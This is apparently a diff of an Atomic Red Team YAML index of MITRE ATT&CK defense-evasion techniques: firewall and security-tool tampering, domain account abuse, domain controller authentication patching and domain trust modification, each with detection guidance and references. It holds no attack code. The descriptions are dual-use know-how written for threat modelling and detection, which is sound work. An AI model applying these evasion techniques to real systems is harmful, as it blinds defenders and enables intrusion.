       x_mitre_detection: Monitor cloud logs for modification or creation of new security
         groups or firewall rules.
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      x_mitre_data_sources:
-      - 'Firewall: Firewall Rule Modification'
-      - 'Firewall: Firewall Disable'
-      x_mitre_platforms:
-      - IaaS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1562/007
+        external_id: T1562.007
+        source_name: mitre-attack
+      - url: https://expel.io/blog/finding-evil-in-aws/
+        description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding
+          Evil in AWS. Retrieved June 25, 2020.
+        source_name: Expel IO Evil in AWS
     atomic_tests: []
   T1562.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1562.004
-        url: https://attack.mitre.org/techniques/T1562/004
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Disable or Modify System Firewall
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Firewall: Firewall Disable'
+      - 'Firewall: Firewall Rule Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-03-29T22:18:11.166Z'
+      created: '2020-02-21T21:00:48.814Z'
+      x_mitre_defense_bypassed:
+      - Firewall
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b
       description: "Adversaries may disable or modify system firewalls in order to
         bypass controls limiting network usage. Changes could be disabling the entire
         mechanism as well as adding, deleting, or modifying particular rules. This
@@ -25502,28 +25951,16 @@ defense-evasion:
         command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying
         or disabling a system firewall may enable adversary C2 communications, lateral
         movement, and/or data exfiltration that would otherwise not be allowed. "
-      id: attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-03-29T22:18:11.166Z'
-      created: '2020-02-21T21:00:48.814Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_defense_bypassed:
-      - Firewall
       x_mitre_detection: Monitor processes and command-line arguments to see if firewalls
         are disabled or modified. Monitor Registry edits to keys that manage firewalls.
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Firewall: Firewall Disable'
-      - 'Firewall: Firewall Rule Modification'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1562/004
+        external_id: T1562.004
+        source_name: mitre-attack
       identifier: T1562.004
     atomic_tests:
     - name: Disable Microsoft Defender Firewall
@@ -25871,44 +26308,10 @@ defense-evasion:
         cleanup_command: ''
   T1562.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1562.001
-        url: https://attack.mitre.org/techniques/T1562/001
-      - external_id: CAPEC-578
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/578.html
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Disable or Modify Tools
-      description: Adversaries may disable security tools to avoid possible detection
-        of their tools and activities. This can take the form of killing security
-        software or event logging processes, deleting Registry keys so that tools
-        do not start at run time, or other methods to interfere with security tools
-        scanning or reporting information.
-      id: attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-19T13:41:17.746Z'
-      created: '2020-02-21T20:32:20.810Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Log analysis
-      - Signature-based detection
-      - Host intrusion prevention systems
-      - File monitoring
-      x_mitre_detection: Monitor processes and command-line arguments to see if security
-        tools are killed or stop running. Monitor Registry edits for modifications
-        to services and startup programs that correspond to security tools. Lack of
-        log events may be suspicious.
+      name: Disable or Modify Tools
       x_mitre_data_sources:
       - 'Process: Process Termination'
       - 'Windows Registry: Windows Registry Key Modification'
@@ -25916,16 +26319,59 @@ defense-evasion:
       - 'Command: Command Execution'
       - 'Service: Service Metadata'
       - 'Sensor Health: Host Status'
+      x_mitre_version: '1.2'
+      modified: '2021-10-18T21:27:48.159Z'
+      created: '2020-02-21T20:32:20.810Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Log analysis
+      - Signature-based detection
+      - Host intrusion prevention systems
+      - File monitoring
       x_mitre_platforms:
       - Windows
       - macOS
       - Linux
       - Containers
       - IaaS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.
+
+        Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)
       x_mitre_contributors:
+      - Gordon Long, Box, Inc., @ethicalhax
       - Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security
       - Nathaniel Quist, Palo Alto Networks
       - Gal Singer, @galsinger29, Team Nautilus Aqua Security
+      x_mitre_detection: |-
+        Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.
+
+        Lack of expected log events may be suspicious.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1562/001
+        external_id: T1562.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/578.html
+        external_id: CAPEC-578
+        source_name: capec
+      - url: https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
+        description: 'de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct
+          System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.'
+        source_name: OutFlank System Calls
+      - url: https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/
+        description: MDSec Research. (2020, December). Bypassing User-Mode Hooks and
+          Direct Invocation of System Calls for Red Teams. Retrieved September 29,
+          2021.
+        source_name: MDSec System Calls
       identifier: T1562.001
     atomic_tests:
     - name: Disable syslog
@@ -26589,35 +27035,17 @@ defense-evasion:
         name: powershell
   T1078.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078.002
-        url: https://attack.mitre.org/techniques/T1078/002
-      - external_id: CAPEC-560
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/560.html
-      - url: https://technet.microsoft.com/en-us/library/dn535501.aspx
-        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
-          Theft. Retrieved June 3, 2016.
-        source_name: TechNet Credential Theft
-      - source_name: Microsoft AD Accounts
-        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
-        description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved
-          March 13, 2020.
-      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
-        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
-          June 3, 2016.
-        source_name: TechNet Audit Policy
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Domain Accounts
-      description: |-
-        Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)
-
-        Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.
-      id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f
       type: attack-pattern
+      name: Domain Accounts
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-10-19T03:29:47.651Z'
+      created: '2020-03-13T20:21:54.758Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -26627,43 +27055,80 @@ defense-evasion:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2020-09-16T19:42:11.787Z'
-      created: '2020-03-13T20:21:54.758Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_detection: |-
-        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
-
-        Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
+      id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)
+
+        Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.
+      x_mitre_contributors:
+      - Jon Sternstein, Stern Security
+      x_mitre_detection: "Configure robust, consistent account activity audit policies
+        across the enterprise and with externally accessible services.(Citation: TechNet
+        Audit Policy) Look for suspicious account behavior across systems that share
+        accounts, either user, admin, or service accounts. Examples: one account logged
+        into multiple systems simultaneously; multiple accounts logged into the same
+        machine simultaneously; accounts logged in at odd times or outside of business
+        hours. Activity may be from interactive login sessions or process ownership
+        from accounts being used to execute binaries on a remote system as a particular
+        account. Correlate other security systems with login information (e.g., a
+        user has an active login session but has not entered the building or does
+        not have VPN access).\n\nOn Linux, check logs and other artifacts created
+        by use of domain authentication services, such as the System Security Services
+        Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain
+        accounts to detect accounts that may have been created by an adversary for
+        persistence."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078/002
+        external_id: T1078.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/560.html
+        external_id: CAPEC-560
+        source_name: capec
+      - source_name: TechNet Credential Theft
+        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
+          Theft. Retrieved June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn535501.aspx
+      - url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
+        description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved
+          March 13, 2020.
+        source_name: Microsoft AD Accounts
+      - source_name: TechNet Audit Policy
+        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
+      - url: https://ubuntu.com/server/docs/service-sssd
+        description: Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.
+        source_name: Ubuntu SSSD Docs
     atomic_tests: []
   T1556.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1556.001
-        url: https://attack.mitre.org/techniques/T1556/001
-      - source_name: Dell Skeleton
-        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
-          Retrieved April 8, 2019.
-        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
-      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
-        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
-          June 3, 2016.
-        source_name: TechNet Audit Policy
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Domain Controller Authentication
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Creation'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      - 'File: File Modification'
+      x_mitre_version: '2.0'
+      modified: '2021-04-20T20:10:26.613Z'
+      created: '2020-02-11T19:05:02.399Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605
       description: "Adversaries may patch the authentication process on a domain controller
         to bypass the typical authentication mechanisms and enable access to accounts.
         \n\nMalware may be used to inject false credentials into the authentication
@@ -26676,8 +27141,6 @@ defense-evasion:
         key is erased from memory by a reboot of the domain controller). Authenticated
         access may enable unfettered access to hosts and/or resources within single-factor
         authentication environments.(Citation: Dell Skeleton)"
-      id: attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
@@ -26685,15 +27148,6 @@ defense-evasion:
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2021-04-20T20:10:26.613Z'
-      created: '2020-02-11T19:05:02.399Z'
-      x_mitre_data_sources:
-      - 'Logon Session: Logon Session Creation'
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
-      - 'File: File Modification'
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: "Monitor for calls to <code>OpenProcess</code> that can be
         used to manipulate lsass.exe running on a domain controller as well as for
         malicious modifications to functions exported from authentication-related
@@ -26708,13 +27162,44 @@ defense-evasion:
         used to execute binaries on a remote system as a particular account. Correlate
         other security systems with login information (e.g. a user has an active login
         session but has not entered the building or does not have VPN access). "
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1556/001
+        external_id: T1556.001
+        source_name: mitre-attack
+      - url: https://www.secureworks.com/research/skeleton-key-malware-analysis
+        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
+          Retrieved April 8, 2019.
+        source_name: Dell Skeleton
+      - source_name: TechNet Audit Policy
+        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
     atomic_tests: []
   T1484:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Domain Policy Modification
+      x_mitre_data_sources:
+      - 'Active Directory: Active Directory Object Creation'
+      - 'Active Directory: Active Directory Object Deletion'
+      - 'Active Directory: Active Directory Object Modification'
+      - 'Command: Command Execution'
+      x_mitre_version: '2.0'
+      modified: '2021-02-09T15:52:24.598Z'
+      created: '2019-03-07T14:10:32.650Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      x_mitre_defense_bypassed:
+      - System access controls
+      - File system access controls
+      x_mitre_platforms:
+      - Windows
+      - Azure AD
+      x_mitre_is_subtechnique: false
       id: attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d
       description: |-
         Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.
@@ -26722,141 +27207,119 @@ defense-evasion:
         With sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).
 
         Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.
-      name: Domain Policy Modification
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1484
-        url: https://attack.mitre.org/techniques/T1484
-      - source_name: ADSecurity GPO Persistence 2016
-        url: https://adsecurity.org/?p=2716
-        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
-          #17: Group Policy. Retrieved March 5, 2019.'
-      - description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and
-          OUs. Retrieved March 5, 2019.
-        url: https://wald0.com/?p=179
-        source_name: Wald0 Guide to GPOs
-      - source_name: Harmj0y Abusing GPO Permissions
-        url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
-        description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved
-          March 5, 2019.
-      - source_name: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks
-        url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
-        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
-          Cyber Attacks. Retrieved December 30, 2020.
-      - source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods
-        url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
-        description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved
-          December 30, 2020.
-      - source_name: Microsoft 365 Defender Solorigate
-        url: https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
-        description: Microsoft 365 Defender Team. (2020, December 28). Using Microsoft
-          365 Defender to protect against Solorigate. Retrieved January 7, 2021.
-      - source_name: Sygnia Golden SAML
-        url: https://www.sygnia.co/golden-saml-advisory
-        description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
-          Attack. Retrieved January 6, 2021.
-      - source_name: CISA SolarWinds Cloud Detection
-        url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a
-        description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity
-          in Microsoft Cloud Environments. Retrieved January 8, 2021.
-      - source_name: Microsoft - Update or Repair Federated domain
-        url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
-        description: Microsoft. (2020, September 14). Update or repair the settings
-          of a federated domain in Office 365, Azure, or Intune. Retrieved December
-          30, 2020.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-02-09T15:52:24.598Z'
-      created: '2019-03-07T14:10:32.650Z'
-      x_mitre_platforms:
-      - Windows
-      - Azure AD
-      x_mitre_data_sources:
-      - 'Active Directory: Active Directory Object Creation'
-      - 'Active Directory: Active Directory Object Deletion'
-      - 'Active Directory: Active Directory Object Modification'
-      - 'Command: Command Execution'
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_version: '2.0'
       x_mitre_detection: |-
         It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)
 
         Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)
-      x_mitre_defense_bypassed:
-      - System access controls
-      - File system access controls
-      x_mitre_is_subtechnique: false
-    atomic_tests: []
-  T1484.002:
-    technique:
-      id: attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee
-      description: |-
-        Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.
-
-        Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.
-      name: Domain Trust Modification
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       external_references:
-      - source_name: mitre-attack
-        external_id: T1484.002
-        url: https://attack.mitre.org/techniques/T1484/002
-      - source_name: Microsoft - Azure AD Federation
-        url: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed
-        description: Microsoft. (2018, November 28). What is federation with Azure
-          AD?. Retrieved December 30, 2020.
-      - source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods
-        url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
+      - url: https://attack.mitre.org/techniques/T1484
+        external_id: T1484
+        source_name: mitre-attack
+      - url: https://adsecurity.org/?p=2716
+        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
+          #17: Group Policy. Retrieved March 5, 2019.'
+        source_name: ADSecurity GPO Persistence 2016
+      - source_name: Wald0 Guide to GPOs
+        description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and
+          OUs. Retrieved March 5, 2019.
+        url: https://wald0.com/?p=179
+      - url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
+        description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved
+          March 5, 2019.
+        source_name: Harmj0y Abusing GPO Permissions
+      - url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
+        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
+          Cyber Attacks. Retrieved December 30, 2020.
+        source_name: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks
+      - url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
         description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved
           December 30, 2020.
-      - source_name: Sygnia Golden SAML
-        url: https://www.sygnia.co/golden-saml-advisory
+        source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods
+      - url: https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
+        description: Microsoft 365 Defender Team. (2020, December 28). Using Microsoft
+          365 Defender to protect against Solorigate. Retrieved January 7, 2021.
+        source_name: Microsoft 365 Defender Solorigate
+      - url: https://www.sygnia.co/golden-saml-advisory
         description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
           Attack. Retrieved January 6, 2021.
-      - source_name: CISA SolarWinds Cloud Detection
-        url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a
+        source_name: Sygnia Golden SAML
+      - url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a
         description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity
           in Microsoft Cloud Environments. Retrieved January 8, 2021.
-      - source_name: Microsoft - Update or Repair Federated domain
-        url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
+        source_name: CISA SolarWinds Cloud Detection
+      - url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
         description: Microsoft. (2020, September 14). Update or repair the settings
           of a federated domain in Office 365, Azure, or Intune. Retrieved December
           30, 2020.
+        source_name: Microsoft - Update or Repair Federated domain
+    atomic_tests: []
+  T1484.002:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Domain Trust Modification
+      x_mitre_data_sources:
+      - 'Active Directory: Active Directory Object Creation'
+      - 'Active Directory: Active Directory Object Modification'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-01-11T18:21:20.213Z'
+      created: '2020-12-28T21:59:02.181Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-01-11T18:21:20.213Z'
-      created: '2020-12-28T21:59:02.181Z'
+      id: attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee
       x_mitre_platforms:
       - Windows
       - Azure AD
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      description: |-
+        Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.
+
+        Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.
       x_mitre_contributors:
       - Blake Strom, Microsoft 365 Defender
       x_mitre_detection: |-
         Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)
 
         Monitor for PowerShell commands such as: <code>Update-MSOLFederatedDomain –DomainName: "Federated Domain Name"</code>, or <code>Update-MSOLFederatedDomain –DomainName: "Federated Domain Name" –supportmultipledomain</code>.(Citation: Microsoft - Update or Repair Federated domain)
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_data_sources:
-      - 'Active Directory: Active Directory Object Creation'
-      - 'Active Directory: Active Directory Object Modification'
-      - 'Command: Command Execution'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1484/002
+        external_id: T1484.002
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed
+        description: Microsoft. (2018, November 28). What is federation with Azure
+          AD?. Retrieved December 30, 2020.
+        source_name: Microsoft - Azure AD Federation
+      - url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
+        description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved
+          December 30, 2020.
+        source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods
+      - url: https://www.sygnia.co/golden-saml-advisory
